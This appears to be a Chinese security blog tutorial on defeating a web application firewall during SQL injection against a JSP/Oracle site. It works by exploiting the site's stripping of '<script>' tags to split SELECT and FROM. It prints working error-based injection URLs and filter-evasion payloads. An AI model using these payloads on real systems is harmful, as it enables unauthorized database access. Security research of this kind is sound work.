0×00 前言

看到标题,很多人肯定会一脸懵逼,这是什么鬼。利用xss绕过waf进行sql注入?话说,没点意思的文章,我自己也不好意思写出来啊。

通俗讲,就是XSS和sql注入相结合绕过waf。知识要能灵活运用嘛。做一个灵活的胖子(虽然我不是胖子)。

0×01 起因

咳咳,还是来说下起因吧!最近遇到一个网站,有防火墙,而且极其变态。后来测试发现,竟然是oracle数据库。对,你没看错,是oracle数据库。

众所周知,mysql语句最松散,曾几何时依靠/*!50000select*/ 这种类型和各种变形,可以秒杀很多防火墙,而且网上大量这样的文章:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

mssql语句次之,可以使用多行执行。还可以搭配服务器使用 se%le%ct 这种绕过方式绕过。

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

相比起oracle,简直了。这些招式都不管用。看了很多文章,看不到多少关于oracle注入的文章。绕防火墙的文章更是稀少。绕过变态的防火墙的基本没有。这一次就遇到了一个比较不错的素材。给大家分享,交流。

0×02 SQL注入初探

废话不多说,实战开始。加入单引号:

http://www.hacker.com/news/index .jsp?id=2862%27

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

收集信息如下:字符型注入+oracle。常规测试 ‘ and 1=1– +

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

直接被防火墙拦截了,而且拦截有点变态,连anxd都拦。

既然拦截了anxd,我们推测他应该是过滤的后面1=1 那么我们换成1 like 1试试:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

换成and 1 like 1会显示系统错误。在这里,连最基础的正确语句都无法执行。可推测,这个网站至少有两层过滤,一层防火墙,一层代码过滤。

0×03 尝试突破

那么,就开始突破吧!

思考:如果此处为mysql+php那么绕过也许不会那么难受,但是此处是jsp+oracle。 Oracle各位黑友流传出来的语法基本就那么几种,像/*!50000 这种类型的都不可以用,所以给绕过带来了极大的困难。

考虑到防火墙,一般都采用正则的方式进行拦截的。我们尝试是否有可以替代空格对正则进行绕过,看看waf是否有所疏漏,经过大量测试,发现/*%23%0a*/可进行绕过。我们尝试下:

http://www.hacker.com/news/index .jsp?id=2862′ and/*%23%0a*/1=1–

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

http://www.hacker.com/news/index .jsp?id=2862′and/*%23%0a*/1=2–

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

两次返回页面不一样,成功绕过。想到使用联合查询就可以直接获取想要的数据了,仿佛白富美就在眼前。然后当我满怀欣喜准备大杀四方的时候,输入order by 10的时候一脸懵逼:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

居然又被防火墙拦截。说明and拦截规则 和 order by 拦截规则又不一样。

前面不知道大家是否记得我说过了,此处防火墙最起码有两层过滤,真是令人窒息的防火墙。

在此处,如果要进行联合查询,而基本的order by 都会拦截,那么联合查询更难突破,因为要同时突破unon select from这三个无意是判了死刑。

0×04 因地制宜:显错注入

见到此,我们不能放弃。

联想到 http://www.hacker.com/news/index.jsp?id=2862%27   有报错信息,然后就考虑使用显错注入:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

首先,我们来尝试获取数据库名。

http://www.hacker.com/news/index.jsp?id=2862'and/*%23%0a*/1=utl_inaddr.get_host_name((ora_database_name))--  

访问后结果如下:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

被拦截,意料之中。

经过测试发现拦截了utl_inaddr.get_host_name函数。众所周知,mysql可以用/*!information_schema*/.SCHEMATA 此语法进行绕过测试。但是oracle是肯定不支持此语法的。不信我们试试:

http://www.hacker.com/news/index.jsp?id=2862'and/*%23%0a*/1=/*!utl_inaddr*/.get_host_name((ora_database_name))-- 如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全 可以看到,执行失败,语法是错误的。我们不要灰心。

此处,我们思维就需要进行改变,我们不能像这种形式:

/*!information_schema*/.SCHEMATA

但是可以这一种:

information_schema./*!*/SCHEMATA

然后进行尝试:

http://www.hacker.com/news/index.jsp?id=2862'and/*%23%0a*/1=utl_inaddr./*%23%0a*/get_host_name((ora_database_name))-- 如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

成功绕过并执行成功,并且出库。在挖漏洞的时候大家肯定到此处就完了,因为可以证明漏洞存在了,并且可以被利用了。

但是,我们此处想要的是bypass waf绕过。有时候就得对自己要求高一点。

0×05 高潮迭起:利用组合拳进行突破

我们考虑到,一般防火墙对select 和 from过滤是最严格的。因为and 等只是探测,而select form是可以直接查询出数据的。所以,构造一个含有select from语句对防火墙进行探测,是很有必要的。

构造如下语句来获取数据库版本(包含select from):

http://www.hacker.com/news/index.jsp?id=2862'AND  1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

意料之中的被拦截。加上前面的绕过空格试试能不能绕过:

http://www.hacker.com/news/index.jsp?id=2862'AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(select/*%23%0a*/banner/*%23%0a*/from/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--
如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

依然被拦截。又在意料之中!

那么如何进行突破呢?此处我们需要换种思路,对常见的xss进行测试如下:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

我们发现了什么?结果显示只是带入了单引号,而<script>却不见了。不应该啊,难道是系统给清空了?

为了确定我们的想法,我们再次进行尝试:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

惊不惊喜,意不意外,开不开心。会自动吧<script>替换为空格:

那么我们的语句就可以进行如下构造,改的连我们自己都不认识了:

http://www.hacker.com/news/index.jsp?id=2862'AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(sel<script>ect/*%23%0a*/banner/*%23%0a*/fro<script>m/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--

然后执行看看:

如何用XSS绕过WAF进行SQL注入-RadeBit瑞安全

可以看到,成功绕过了select from的限制。关键字过滤也被突破了,而且又对括号和点未进行过滤,那么其他的语句,我们就可以自行构造。想要获取什么都可以了。

0×06 后记:有趣的灵魂

个人认为,基础的知识点,你知道的,别人也知道。只要能在互联网看的到的,都是大家所知道的。如何把所学的知识点串联起来,并且进行融会贯通,这是我们需要去做的。

这不光是xss和sql注入组合型攻击的利用,也是常见绕过waf的组合型利用。

有一句话叫什么来着,好看的皮囊千篇一律,有趣的灵魂万里挑一。不尝试下,都不知道自己那么有趣。